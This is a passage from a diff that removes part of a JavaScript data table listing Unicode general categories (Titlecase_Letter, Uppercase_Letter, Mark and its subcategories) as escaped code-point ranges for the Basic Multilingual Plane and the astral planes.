'\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF2D-\uDF40\uDF42-\uDF49\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF]|\uD801[\uDC50-\uDC9D\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDD00-\uDD23\uDE80-\uDEA9\uDEB0\uDEB1\uDF00-\uDF1C\uDF27\uDF30-\uDF45\uDF70-\uDF81\uDFB0-\uDFC4\uDFE0-\uDFF6]|\uD804[\uDC03-\uDC37\uDC71\uDC72\uDC75\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD44\uDD47\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC00-\uDC34\uDC47-\uDC4A\uDC5F-\uDC61\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDEB8\uDF00-\uDF1A\uDF40-\uDF46]|\uD806[\uDC00-\uDC2B\uDCFF-\uDD06\uDD09\uDD0C-\uDD13\uDD15\uDD16\uDD18-\uDD2F\uDD3F\uDD41\uDDA0-\uDDA7\uDDAA-\uDDD0\uDDE1\uDDE3\uDE00\uDE0B-\uDE32\uDE3A\uDE50\uDE5C-\uDE89\uDE9D\uDEB0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC2E\uDC40\uDC72-\uDC8F\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD30\uDD46\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD89\uDD98\uDEE0-\uDEF2\uDFB0]|\uD808[\uDC00-\uDF99]|\uD809[\uDC80-\uDD43]|\uD80B[\uDF90-\uDFF0]|[\uD80C\uD81C-\uD820\uD822\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879\uD880-\uD883][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE70-\uDEBE\uDED0-\uDEED\uDF00-\uDF2F\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF4A\uDF50]|\uD821[\uDC00-\uDFF7]|\uD823[\uDC00-\uDCD5\uDD00-\uDD08]|\uD82C[\uDC00-\uDD22\uDD50-\uDD52\uDD64-\uDD67\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD837\uDF0A|\uD838[\uDD00-\uDD2C\uDD4E\uDE90-\uDEAD\uDEC0-\uDEEB]|\uD839[\uDFE0-\uDFE6\uDFE8-\uDFEB\uDFED\uDFEE\uDFF0-\uDFFE]|\uD83A[\uDC00-\uDCC4]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF38\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uD884[\uDC00-\uDF4A]' - }, - { - 'name': 'Lt', - 'alias': 'Titlecase_Letter', - 'bmp': '\u01C5\u01C8\u01CB\u01F2\u1F88-\u1F8F\u1F98-\u1F9F\u1FA8-\u1FAF\u1FBC\u1FCC\u1FFC' - }, - { - 'name': 'Lu', - 'alias': 'Uppercase_Letter', - 'bmp': 'A-Z\xC0-\xD6\xD8-\xDE\u0100\u0102\u0104\u0106\u0108\u010A\u010C\u010E\u0110\u0112\u0114\u0116\u0118\u011A\u011C\u011E\u0120\u0122\u0124\u0126\u0128\u012A\u012C\u012E\u0130\u0132\u0134\u0136\u0139\u013B\u013D\u013F\u0141\u0143\u0145\u0147\u014A\u014C\u014E\u0150\u0152\u0154\u0156\u0158\u015A\u015C\u015E\u0160\u0162\u0164\u0166\u0168\u016A\u016C\u016E\u0170\u0172\u0174\u0176\u0178\u0179\u017B\u017D\u0181\u0182\u0184\u0186\u0187\u0189-\u018B\u018E-\u0191\u0193\u0194\u0196-\u0198\u019C\u019D\u019F\u01A0\u01A2\u01A4\u01A6\u01A7\u01A9\u01AC\u01AE\u01AF\u01B1-\u01B3\u01B5\u01B7\u01B8\u01BC\u01C4\u01C7\u01CA\u01CD\u01CF\u01D1\u01D3\u01D5\u01D7\u01D9\u01DB\u01DE\u01E0\u01E2\u01E4\u01E6\u01E8\u01EA\u01EC\u01EE\u01F1\u01F4\u01F6-\u01F8\u01FA\u01FC\u01FE\u0200\u0202\u0204\u0206\u0208\u020A\u020C\u020E\u0210\u0212\u0214\u0216\u0218\u021A\u021C\u021E\u0220\u0222\u0224\u0226\u0228\u022A\u022C\u022E\u0230\u0232\u023A\u023B\u023D\u023E\u0241\u0243-\u0246\u0248\u024A\u024C\u024E\u0370\u0372\u0376\u037F\u0386\u0388-\u038A\u038C\u038E\u038F\u0391-\u03A1\u03A3-\u03AB\u03CF\u03D2-\u03D4\u03D8\u03DA\u03DC\u03DE\u03E0\u03E2\u03E4\u03E6\u03E8\u03EA\u03EC\u03EE\u03F4\u03F7\u03F9\u03FA\u03FD-\u042F\u0460\u0462\u0464\u0466\u0468\u046A\u046C\u046E\u0470\u0472\u0474\u0476\u0478\u047A\u047C\u047E\u0480\u048A\u048C\u048E\u0490\u0492\u0494\u0496\u0498\u049A\u049C\u049E\u04A0\u04A2\u04A4\u04A6\u04A8\u04AA\u04AC\u04AE\u04B0\u04B2\u04B4\u04B6\u04B8\u04BA\u04BC\u04BE\u04C0\u04C1\u04C3\u04C5\u04C7\u04C9\u04CB\u04CD\u04D0\u04D2\u04D4\u04D6\u04D8\u04DA\u04DC\u04DE\u04E0\u04E2\u04E4\u04E6\u04E8\u04EA\u04EC\u04EE\u04F0\u04F2\u04F4\u04F6\u04F8\u04FA\u04FC\u04FE\u0500\u0502\u0504\u0506\u0508\u050A\u050C\u050E\u0510\u0512\u0514\u0516\u0518\u051A\u051C\u051E\u0520\u0522\u0524\u0526\u0528\u052A\u052C\u052E\u0531-\u0556\u10A0-\u10C5\u10C7\u10CD\u13A0-\u13F5\u1C90-\u1CBA\u1CBD-\u1CBF\u1E00\u1E02\u1E04\u1E06\u1E08\u1E0A\u1E0C\u1E0E\u1E10\u1E12\u1E14\u1E16\u1E18\u1E1A\u1E1C\u1E1E\u1E20\u1E22\u1E24\u1E26\u1E28\u1E2A\u1E2C\u1E2E\u1E30\u1E32\u1E34\u1E36\u1E38\u1E3A\u1E3C\u1E3E\u1E40\u1E42\u1E44\u1E46\u1E48\u1E4A\u1E4C\u1E4E\u1E50\u1E52\u1E54\u1E56\u1E58\u1E5A\u1E5C\u1E5E\u1E60\u1E62\u1E64\u1E66\u1E68\u1E6A\u1E6C\u1E6E\u1E70\u1E72\u1E74\u1E76\u1E78\u1E7A\u1E7C\u1E7E\u1E80\u1E82\u1E84\u1E86\u1E88\u1E8A\u1E8C\u1E8E\u1E90\u1E92\u1E94\u1E9E\u1EA0\u1EA2\u1EA4\u1EA6\u1EA8\u1EAA\u1EAC\u1EAE\u1EB0\u1EB2\u1EB4\u1EB6\u1EB8\u1EBA\u1EBC\u1EBE\u1EC0\u1EC2\u1EC4\u1EC6\u1EC8\u1ECA\u1ECC\u1ECE\u1ED0\u1ED2\u1ED4\u1ED6\u1ED8\u1EDA\u1EDC\u1EDE\u1EE0\u1EE2\u1EE4\u1EE6\u1EE8\u1EEA\u1EEC\u1EEE\u1EF0\u1EF2\u1EF4\u1EF6\u1EF8\u1EFA\u1EFC\u1EFE\u1F08-\u1F0F\u1F18-\u1F1D\u1F28-\u1F2F\u1F38-\u1F3F\u1F48-\u1F4D\u1F59\u1F5B\u1F5D\u1F5F\u1F68-\u1F6F\u1FB8-\u1FBB\u1FC8-\u1FCB\u1FD8-\u1FDB\u1FE8-\u1FEC\u1FF8-\u1FFB\u2102\u2107\u210B-\u210D\u2110-\u2112\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u2130-\u2133\u213E\u213F\u2145\u2183\u2C00-\u2C2F\u2C60\u2C62-\u2C64\u2C67\u2C69\u2C6B\u2C6D-\u2C70\u2C72\u2C75\u2C7E-\u2C80\u2C82\u2C84\u2C86\u2C88\u2C8A\u2C8C\u2C8E\u2C90\u2C92\u2C94\u2C96\u2C98\u2C9A\u2C9C\u2C9E\u2CA0\u2CA2\u2CA4\u2CA6\u2CA8\u2CAA\u2CAC\u2CAE\u2CB0\u2CB2\u2CB4\u2CB6\u2CB8\u2CBA\u2CBC\u2CBE\u2CC0\u2CC2\u2CC4\u2CC6\u2CC8\u2CCA\u2CCC\u2CCE\u2CD0\u2CD2\u2CD4\u2CD6\u2CD8\u2CDA\u2CDC\u2CDE\u2CE0\u2CE2\u2CEB\u2CED\u2CF2\uA640\uA642\uA644\uA646\uA648\uA64A\uA64C\uA64E\uA650\uA652\uA654\uA656\uA658\uA65A\uA65C\uA65E\uA660\uA662\uA664\uA666\uA668\uA66A\uA66C\uA680\uA682\uA684\uA686\uA688\uA68A\uA68C\uA68E\uA690\uA692\uA694\uA696\uA698\uA69A\uA722\uA724\uA726\uA728\uA72A\uA72C\uA72E\uA732\uA734\uA736\uA738\uA73A\uA73C\uA73E\uA740\uA742\uA744\uA746\uA748\uA74A\uA74C\uA74E\uA750\uA752\uA754\uA756\uA758\uA75A\uA75C\uA75E\uA760\uA762\uA764\uA766\uA768\uA76A\uA76C\uA76E\uA779\uA77B\uA77D\uA77E\uA780\uA782\uA784\uA786\uA78B\uA78D\uA790\uA792\uA796\uA798\uA79A\uA79C\uA79E\uA7A0\uA7A2\uA7A4\uA7A6\uA7A8\uA7AA-\uA7AE\uA7B0-\uA7B4\uA7B6\uA7B8\uA7BA\uA7BC\uA7BE\uA7C0\uA7C2\uA7C4-\uA7C7\uA7C9\uA7D0\uA7D6\uA7D8\uA7F5\uFF21-\uFF3A', - 'astral': '\uD801[\uDC00-\uDC27\uDCB0-\uDCD3\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95]|\uD803[\uDC80-\uDCB2]|\uD806[\uDCA0-\uDCBF]|\uD81B[\uDE40-\uDE5F]|\uD835[\uDC00-\uDC19\uDC34-\uDC4D\uDC68-\uDC81\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB5\uDCD0-\uDCE9\uDD04\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD38\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD6C-\uDD85\uDDA0-\uDDB9\uDDD4-\uDDED\uDE08-\uDE21\uDE3C-\uDE55\uDE70-\uDE89\uDEA8-\uDEC0\uDEE2-\uDEFA\uDF1C-\uDF34\uDF56-\uDF6E\uDF90-\uDFA8\uDFCA]|\uD83A[\uDD00-\uDD21]' - }, - { - 'name': 'M', - 'alias': 'Mark', - 'bmp': '\u0300-\u036F\u0483-\u0489\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0903\u093A-\u093C\u093E-\u094F\u0951-\u0957\u0962\u0963\u0981-\u0983\u09BC\u09BE-\u09C4\u09C7\u09C8\u09CB-\u09CD\u09D7\u09E2\u09E3\u09FE\u0A01-\u0A03\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81-\u0A83\u0ABC\u0ABE-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01-\u0B03\u0B3C\u0B3E-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B62\u0B63\u0B82\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD7\u0C00-\u0C04\u0C3C\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81-\u0C83\u0CBC\u0CBE-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CE2\u0CE3\u0D00-\u0D03\u0D3B\u0D3C\u0D3E-\u0D44\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D62\u0D63\u0D81-\u0D83\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2\u0DF3\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F3E\u0F3F\u0F71-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102B-\u103E\u1056-\u1059\u105E-\u1060\u1062-\u1064\u1067-\u106D\u1071-\u1074\u1082-\u108D\u108F\u109A-\u109D\u135D-\u135F\u1712-\u1715\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u192B\u1930-\u193B\u1A17-\u1A1B\u1A55-\u1A5E\u1A60-\u1A7C\u1A7F\u1AB0-\u1ACE\u1B00-\u1B04\u1B34-\u1B44\u1B6B-\u1B73\u1B80-\u1B82\u1BA1-\u1BAD\u1BE6-\u1BF3\u1C24-\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE8\u1CED\u1CF4\u1CF7-\u1CF9\u1DC0-\u1DFF\u20D0-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302F\u3099\u309A\uA66F-\uA672\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA823-\uA827\uA82C\uA880\uA881\uA8B4-\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA953\uA980-\uA983\uA9B3-\uA9C0\uA9E5\uAA29-\uAA36\uAA43\uAA4C\uAA4D\uAA7B-\uAA7D\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEB-\uAAEF\uAAF5\uAAF6\uABE3-\uABEA\uABEC\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F', - 'astral': '\uD800[\uDDFD\uDEE0\uDF76-\uDF7A]|\uD802[\uDE01-\uDE03\uDE05\uDE06\uDE0C-\uDE0F\uDE38-\uDE3A\uDE3F\uDEE5\uDEE6]|\uD803[\uDD24-\uDD27\uDEAB\uDEAC\uDF46-\uDF50\uDF82-\uDF85]|\uD804[\uDC00-\uDC02\uDC38-\uDC46\uDC70\uDC73\uDC74\uDC7F-\uDC82\uDCB0-\uDCBA\uDCC2\uDD00-\uDD02\uDD27-\uDD34\uDD45\uDD46\uDD73\uDD80-\uDD82\uDDB3-\uDDC0\uDDC9-\uDDCC\uDDCE\uDDCF\uDE2C-\uDE37\uDE3E\uDEDF-\uDEEA\uDF00-\uDF03\uDF3B\uDF3C\uDF3E-\uDF44\uDF47\uDF48\uDF4B-\uDF4D\uDF57\uDF62\uDF63\uDF66-\uDF6C\uDF70-\uDF74]|\uD805[\uDC35-\uDC46\uDC5E\uDCB0-\uDCC3\uDDAF-\uDDB5\uDDB8-\uDDC0\uDDDC\uDDDD\uDE30-\uDE40\uDEAB-\uDEB7\uDF1D-\uDF2B]|\uD806[\uDC2C-\uDC3A\uDD30-\uDD35\uDD37\uDD38\uDD3B-\uDD3E\uDD40\uDD42\uDD43\uDDD1-\uDDD7\uDDDA-\uDDE0\uDDE4\uDE01-\uDE0A\uDE33-\uDE39\uDE3B-\uDE3E\uDE47\uDE51-\uDE5B\uDE8A-\uDE99]|\uD807[\uDC2F-\uDC36\uDC38-\uDC3F\uDC92-\uDCA7\uDCA9-\uDCB6\uDD31-\uDD36\uDD3A\uDD3C\uDD3D\uDD3F-\uDD45\uDD47\uDD8A-\uDD8E\uDD90\uDD91\uDD93-\uDD97\uDEF3-\uDEF6]|\uD81A[\uDEF0-\uDEF4\uDF30-\uDF36]|\uD81B[\uDF4F\uDF51-\uDF87\uDF8F-\uDF92\uDFE4\uDFF0\uDFF1]|\uD82F[\uDC9D\uDC9E]|\uD833[\uDF00-\uDF2D\uDF30-\uDF46]|\uD834[\uDD65-\uDD69\uDD6D-\uDD72\uDD7B-\uDD82\uDD85-\uDD8B\uDDAA-\uDDAD\uDE42-\uDE44]|\uD836[\uDE00-\uDE36\uDE3B-\uDE6C\uDE75\uDE84\uDE9B-\uDE9F\uDEA1-\uDEAF]|\uD838[\uDC00-\uDC06\uDC08-\uDC18\uDC1B-\uDC21\uDC23\uDC24\uDC26-\uDC2A\uDD30-\uDD36\uDEAE\uDEEC-\uDEEF]|\uD83A[\uDCD0-\uDCD6\uDD44-\uDD4A]|\uDB40[\uDD00-\uDDEF]' - }, - { - 'name': 'Mc', - 'alias': 'Spacing_Mark', - 'bmp': '\u0903\u093B\u093E-\u0940\u0949-\u094C\u094E\u094F\u0982\u0983\u09BE-\u09C0\u09C7\u09C8\u09CB\u09CC\u09D7\u0A03\u0A3E-\u0A40\u0A83\u0ABE-\u0AC0\u0AC9\u0ACB\u0ACC\u0B02\u0B03\u0B3E\u0B40\u0B47\u0B48\u0B4B\u0B4C\u0B57\u0BBE\u0BBF\u0BC1\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD7\u0C01-\u0C03\u0C41-\u0C44\u0C82\u0C83\u0CBE\u0CC0-\u0CC4\u0CC7\u0CC8\u0CCA\u0CCB\u0CD5\u0CD6\u0D02\u0D03\u0D3E-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D57\u0D82\u0D83\u0DCF-\u0DD1\u0DD8-\u0DDF\u0DF2\u0DF3\u0F3E\u0F3F\u0F7F\u102B\u102C\u1031\u1038\u103B\u103C\u1056\u1057\u1062-\u1064\u1067-\u106D\u1083\u1084\u1087-\u108C\u108F\u109A-\u109C\u1715\u1734\u17B6\u17BE-\u17C5\u17C7\u17C8\u1923-\u1926\u1929-\u192B\u1930\u1931\u1933-\u1938\u1A19\u1A1A\u1A55\u1A57\u1A61\u1A63\u1A64\u1A6D-\u1A72\u1B04\u1B35\u1B3B\u1B3D-\u1B41\u1B43\u1B44\u1B82\u1BA1\u1BA6\u1BA7\u1BAA\u1BE7\u1BEA-\u1BEC\u1BEE\u1BF2\u1BF3\u1C24-\u1C2B\u1C34\u1C35\u1CE1\u1CF7\u302E\u302F\uA823\uA824\uA827\uA880\uA881\uA8B4-\uA8C3\uA952\uA953\uA983\uA9B4\uA9B5\uA9BA\uA9BB\uA9BE-\uA9C0\uAA2F\uAA30\uAA33\uAA34\uAA4D\uAA7B\uAA7D\uAAEB\uAAEE\uAAEF\uAAF5\uABE3\uABE4\uABE6\uABE7\uABE9\uABEA\uABEC', - 'astral': '\uD804[\uDC00\uDC02\uDC82\uDCB0-\uDCB2\uDCB7\uDCB8\uDD2C\uDD45\uDD46\uDD82\uDDB3-\uDDB5\uDDBF\uDDC0\uDDCE\uDE2C-\uDE2E\uDE32\uDE33\uDE35\uDEE0-\uDEE2\uDF02\uDF03\uDF3E\uDF3F\uDF41-\uDF44\uDF47\uDF48\uDF4B-\uDF4D\uDF57\uDF62\uDF63]|\uD805[\uDC35-\uDC37\uDC40\uDC41\uDC45\uDCB0-\uDCB2\uDCB9\uDCBB-\uDCBE\uDCC1\uDDAF-\uDDB1\uDDB8-\uDDBB\uDDBE\uDE30-\uDE32\uDE3B\uDE3C\uDE3E\uDEAC\uDEAE\uDEAF\uDEB6\uDF20\uDF21\uDF26]|\uD806[\uDC2C-\uDC2E\uDC38\uDD30-\uDD35\uDD37\uDD38\uDD3D\uDD40\uDD42\uDDD1-\uDDD3\uDDDC-\uDDDF\uDDE4\uDE39\uDE57\uDE58\uDE97]|\uD807[\uDC2F\uDC3E\uDCA9\uDCB1\uDCB4\uDD8A-\uDD8E\uDD93\uDD94\uDD96\uDEF5\uDEF6]|\uD81B[\uDF51-\uDF87\uDFF0\uDFF1]|\uD834[\uDD65\uDD66\uDD6D-\uDD72]' - }, - { - 'name': 'Me', - 'alias': 'Enclosing_Mark', - 'bmp': '\u0488\u0489\u1ABE\u20DD-\u20E0\u20E2-\u20E4\uA670-\uA672' - }, - { - 'name': 'Mn', - 'alias': 'Nonspacing_Mark', - 'bmp': '\u0300-\u036F\u0483-\u0487\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u0711\u0730-\u074A\u07A6-\u07B0\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0898-\u089F\u08CA-\u08E1\u08E3-\u0902\u093A\u093C\u0941-\u0948\u094D\u0951-\u0957\u0962\u0963\u0981\u09BC\u09C1-\u09C4\u09CD\u09E2\u09E3\u09FE\u0A01\u0A02\u0A3C\u0A41\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A70\u0A71\u0A75\u0A81\u0A82\u0ABC\u0AC1-\u0AC5\u0AC7\u0AC8\u0ACD\u0AE2\u0AE3\u0AFA-\u0AFF\u0B01\u0B3C\u0B3F\u0B41-\u0B44\u0B4D\u0B55\u0B56\u0B62\u0B63\u0B82\u0BC0\u0BCD\u0C00\u0C04\u0C3C\u0C3E-\u0C40\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C81\u0CBC\u0CBF\u0CC6\u0CCC\u0CCD\u0CE2\u0CE3\u0D00\u0D01\u0D3B\u0D3C\u0D41-\u0D44\u0D4D\u0D62\u0D63\u0D81\u0DCA\u0DD2-\u0DD4\u0DD6\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECD\u0F18\u0F19\u0F35\u0F37\u0F39\u0F71-\u0F7E\u0F80-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102D-\u1030\u1032-\u1037\u1039\u103A\u103D\u103E\u1058\u1059\u105E-\u1060\u1071-\u1074\u1082\u1085\u1086\u108D\u109D\u135D-\u135F\u1712-\u1714\u1732\u1733\u1752\u1753\u1772\u1773\u17B4\u17B5\u17B7-\u17BD\u17C6\u17C9-\u17D3\u17DD\u180B-\u180D\u180F\u1885\u1886\u18A9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193B\u1A17\u1A18\u1A1B\u1A56\u1A58-\u1A5E\u1A60\u1A62\u1A65-\u1A6C\u1A73-\u1A7C\u1A7F\u1AB0-\u1ABD\u1ABF-\u1ACE\u1B00-\u1B03\u1B34\u1B36-\u1B3A\u1B3C\u1B42\u1B6B-\u1B73\u1B80\u1B81\u1BA2-\u1BA5\u1BA8\u1BA9\u1BAB-\u1BAD\u1BE6\u1BE8\u1BE9\u1BED\u1BEF-\u1BF1\u1C2C-\u1C33\u1C36\u1C37\u1CD0-\u1CD2\u1CD4-\u1CE0\u1CE2-\u1CE8\u1CED\u1CF4\u1CF8\u1CF9\u1DC0-\u1DFF\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2CEF-\u2CF1\u2D7F\u2DE0-\u2DFF\u302A-\u302D\u3099\u309A\uA66F\uA674-\uA67D\uA69E\uA69F\uA6F0\uA6F1\uA802\uA806\uA80B\uA825\uA826\uA82C\uA8C4\uA8C5\uA8E0-\uA8F1\uA8FF\uA926-\uA92D\uA947-\uA951\uA980-\uA982\uA9B3\uA9B6-\uA9B9\uA9BC\uA9BD\uA9E5\uAA29-\uAA2E\uAA31\uAA32\uAA35\uAA36\uAA43\uAA4C\uAA7C\uAAB0\uAAB2-\uAAB4\uAAB7\uAAB8\uAABE\uAABF\uAAC1\uAAEC\uAAED\uAAF6\uABE5\uABE8\uABED\uFB1E\uFE00-\uFE0F\uFE20-\uFE2F', - 'astral': '\uD800[\uDDFD\uDEE0\uDF76-\uDF7A]|\uD802[\uDE01-\uDE03\uDE05\uDE06\uDE0C-\uDE0F\uDE38-\uDE3A\uDE3F\uDEE5\uDEE6]|\uD803[\uDD24-\uDD27\uDEAB\uDEAC\uDF46-\uDF50\uDF82-\uDF85]|\uD804[\uDC01\uDC38-\uDC46\uDC70\uDC73\uDC74\uDC7F-\uDC81\uDCB3-\uDCB6\uDCB9\uDCBA\uDCC2\uDD00-\uDD02\uDD27-\uDD2B\uDD2D-\uDD34\uDD73\uDD80\uDD81\uDDB6-\uDDBE\uDDC9-\uDDCC\uDDCF\uDE2F-\uDE31\uDE34\uDE36\uDE37\uDE3E\uDEDF\uDEE3-\uDEEA\uDF00\uDF01\uDF3B\uDF3C\uDF40\uDF66-\uDF6C\uDF70-\uDF74]|\uD805[\uDC38-\uDC3F\uDC42-\uDC44\uDC46\uDC5E\uDCB3-\uDCB8\uDCBA\uDCBF\uDCC0\uDCC2\uDCC3\uDDB2-\uDDB5\uDDBC\uDDBD\uDDBF\uDDC0\uDDDC\uDDDD\uDE33-\uDE3A\uDE3D\uDE3F\uDE40\uDEAB\uDEAD\uDEB0-\uDEB5\uDEB7\uDF1D-\uDF1F\uDF22-\uDF25\uDF27-\uDF2B]|\uD806[\uDC2F-\uDC37\uDC39\uDC3A\uDD3B\uDD3C\uDD3E\uDD43\uDDD4-\uDDD7\uDDDA\uDDDB\uDDE0\uDE01-\uDE0A\uDE33-\uDE38\uDE3B-\uDE3E\uDE47\uDE51-\uDE56\uDE59-\uDE5B\uDE8A-\uDE96\uDE98\uDE99]|\uD807[\uDC30-\uDC36\uDC38-\uDC3D\uDC3F\uDC92-\uDCA7\uDCAA-\uDCB0\uDCB2\uDCB3\uDCB5\uDCB6\uDD31-\uDD36\uDD3A\uDD3C\uDD3D\uDD3F-\uDD45\uDD47\uDD90\uDD91\uDD95\uDD97\uDEF3\uDEF4]|\uD81A[\uDEF0-\uDEF4\uDF30-\uDF36]|\uD81B[\uDF4F\uDF8F-\uDF92\uDFE4]|\uD82F[\uDC9D\uDC9E]|\uD833[\uDF00-\uDF2D\uDF30-\uDF46]|\uD834[\uDD67-\uDD69\uDD7B-\uDD82\uDD85-\uDD8B\uDDAA-\uDDAD\uDE42-\uDE44]|\uD836[\uDE00-\uDE36\uDE3B-\uDE6C\uDE75\uDE84\uDE9B-\uDE9F\uDEA1-\uDEAF]|\uD838[\uDC00-\uDC06\uDC08-\uDC18\uDC1B-\uDC21\uDC23\uDC24\uDC26-\uDC2A\uDD30-\uDD36\uDEAE\uDEEC-\uDEEF]|\uD83A[\uDCD0-\uDCD6\uDD44-\uDD4A]|\uDB40[\uDD00-\uDDEF]' - }, - { - 'name': 'N', - 'alias': 'Number', - 'bmp': 